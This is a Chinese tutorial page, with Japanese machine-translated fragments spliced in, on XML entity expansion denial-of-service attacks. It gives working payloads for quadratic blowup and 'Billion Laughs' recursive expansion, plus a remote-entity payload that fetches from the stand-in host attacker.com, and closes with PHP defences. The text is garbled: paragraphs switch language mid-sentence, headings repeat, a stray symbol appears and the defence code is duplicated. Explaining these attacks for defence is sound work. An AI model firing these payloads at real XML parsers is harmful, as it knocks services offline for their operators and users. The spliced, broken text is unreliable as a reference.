XML エンティティ拡張攻撃コード例の共有

XMl エンティティ拡張 (攻撃) は XML エンティティ拡張に似ていますが、主にターゲット プログラムのサーバー環境を消費することによって DOS 攻撃を実行しようとします。この攻撃は XML エンティティ拡張に基づいており、XML の DOCTYPE でカスタム エンティティ定義を作成することで実装されます。たとえば、この定義により、元の許容サイズよりもはるかに大きなオブジェクトがメモリ内に生成される可能性があります。 XML: XML 構造。この攻撃により、ネットワーク サーバーの通常の効率的な動作に必要なメモリ リソースが使い果たされます。この攻撃手法は、現在は実行できない HTML5DOCTYPE中创建自定义实体的定义实现，比如，这种定义可以在内存中生成一个比XML的原始允许大小大出很多的XML结构，来使这种攻击得以耗尽网络服务器正常有效运行的必需内存资源。这种攻击方式同样适用于HTML5的XML序列化功能模块，该模块当前还不能被libxml2扩展包识别为HTML。

XML Entity Expansion举例

要扩展XML自定义实体以达到预期的耗尽服务器资源效果有好几种方式。

Generic Entity Expansion

通用实体扩展攻击

通用实体扩展攻击同样被称为“Quadratic Blowup Attack”，使用这种方式时，自定义实体被定义为一个极长的字符串。当文件中大量使用这个实体时，该实体在每次调用时都会进行扩展，生成一个大幅超出原XML所需RAM大小的XML结构。

<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]>
<results>
    <result>Now include &long; lots of times to expand
    the in-memory size of this XML structure</result>
    <result>&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    Keep it going...
    &long;&long;&long;&long;&long;&long;&long;...</result>
</results>

通过平衡自定义实体字符串大小和文档主体内使用实体数量，可以创建一个扩展至占用服务器可预测RAM空间大小的XML文档或字符串。通过这样重复请求来占用服务器RAM，就可以发动一次成功的拒绝服务攻击。该方式的缺陷是，由于产生内存消耗效果是基于简单数乘的，因此初始XML文档或字符串本身需要足够大。

递归实体扩展攻击

通用实体扩展攻击需要足够大的XML输入数据量，而递归实体扩展攻击的平均输入字节能产生更强力的攻击效果。这种攻击方式依赖于XML解析器来解析，从而完成小实体集的指数级增长。通过这种指数爆炸性增长方式，一个比通用实体扩展攻击使用小得多的输入数据量实际可增长得极大。因此这种方式被称为“XML Bomb”或是“Billion Laughs Attack”也是十分恰切的。

<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY x0 "BOOM!">
    <!ENTITY x1 "&x0;&x0;">
    <!ENTITY x2 "&x1;&x1;">
    <!ENTITY x3 "&x2;&x2;">
    <!-- Add the remaining sequence from x4...x100 (or boom) -->
    <!ENTITY x99 "&x98;&x98;">
    <!ENTITY boom "&x99;&x99;">
]>
<results>
    <result>Explode in 3...2...1...&boom;</result>
</results>

XML Bomb攻击并不需要可能会被程序限制的大量XML数据输入。实体集像这样指数倍增长，最终形成的扩展后文本大小是初始 &x0实体值的2的100次方倍。这着实是一个庞大且毁灭性超强的炸弹！

远程实体扩展攻击

常规和递归实体扩展攻击都依赖于XML文档类型定义中定义在本地的实体，但是攻击者同样可以进行外部实体定义。这很显然需要XML解析器能够像我们之前在描述XML外部实体注入式攻击（XXE）时遇到的那样，发起远程HTTP请求。而拒绝这种请求对你的XML解析器而言是一种基础的安保措施。因此，防御XXE攻击的措施同样适用于此类XML实体扩展攻击。

虽说可以通过上述方式进行防御，远程实体扩展通过使XML解析器发出远程HTTP请求来获得被引用实体的扩展值来进行攻击。返回结果将自行定义其他XML解析器必须另行HTTP请求的外部实体。如此一来，一些看似并无攻击性的请求会迅速脱离控制，并给服务器的可用资源带来负担。这种情况下，如果请求自包括一个递归扩展攻击，那最终结果会更加糟糕。

<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml">
]>
<results>
    <result>3..2..1...&cascade<result>
</results>

上述攻击手法还有可能更加迂回地进行DOS攻击，比如，远程请求被调整到针对本地程序或其他任何共享其服务器资源的程序。这种攻击方式可能造成自我损伤式的DOS攻击，其中， XML解析器尝试解析外部实体可能会触发无数针对本地程序的请求，并由此消耗更多的服务器资源。该方式因此被用于放大之前讨论过的关于使用XML外部实体注入式攻击（XXE）以完成DOS攻击的攻击影响。

针对XML实体扩展攻击的防御措施

下列常规防御措施，是从我们针对普通XML外部实体攻击（XXE）的防御措施继承而来的。我们应当拒绝XML中自定义实体对本地文件和远程HTTP请求的解析，并可使用以下可全局应用于所有内部使用了libxml2 の XML シリアル化機能モジュールにも適用されます。 >libxml2 拡張パッケージは HTML として認識されます。

XML エンティティの拡張の例

汎用エンティティ拡張

汎用エンティティ拡張攻撃

libxml_disable_entity_loader(true);

再帰的🎜エンティティ拡張攻撃

$dom = new DOMDocument;
$dom->loadXML($xml);
foreach ($dom->childNodes as $child) {
    if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
        throw new \InvalidArgumentException(
            'Invalid XML: Detected use of illegal DOCTYPE'
        );
    }
}

libxml_disable_entity_loader(true);

$dom = new DOMDocument;
$dom->loadXML($xml);
foreach ($dom->childNodes as $child) {
    if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
        throw new \InvalidArgumentException(
            'Invalid XML: Detected use of illegal DOCTYPE'
        );
    }
}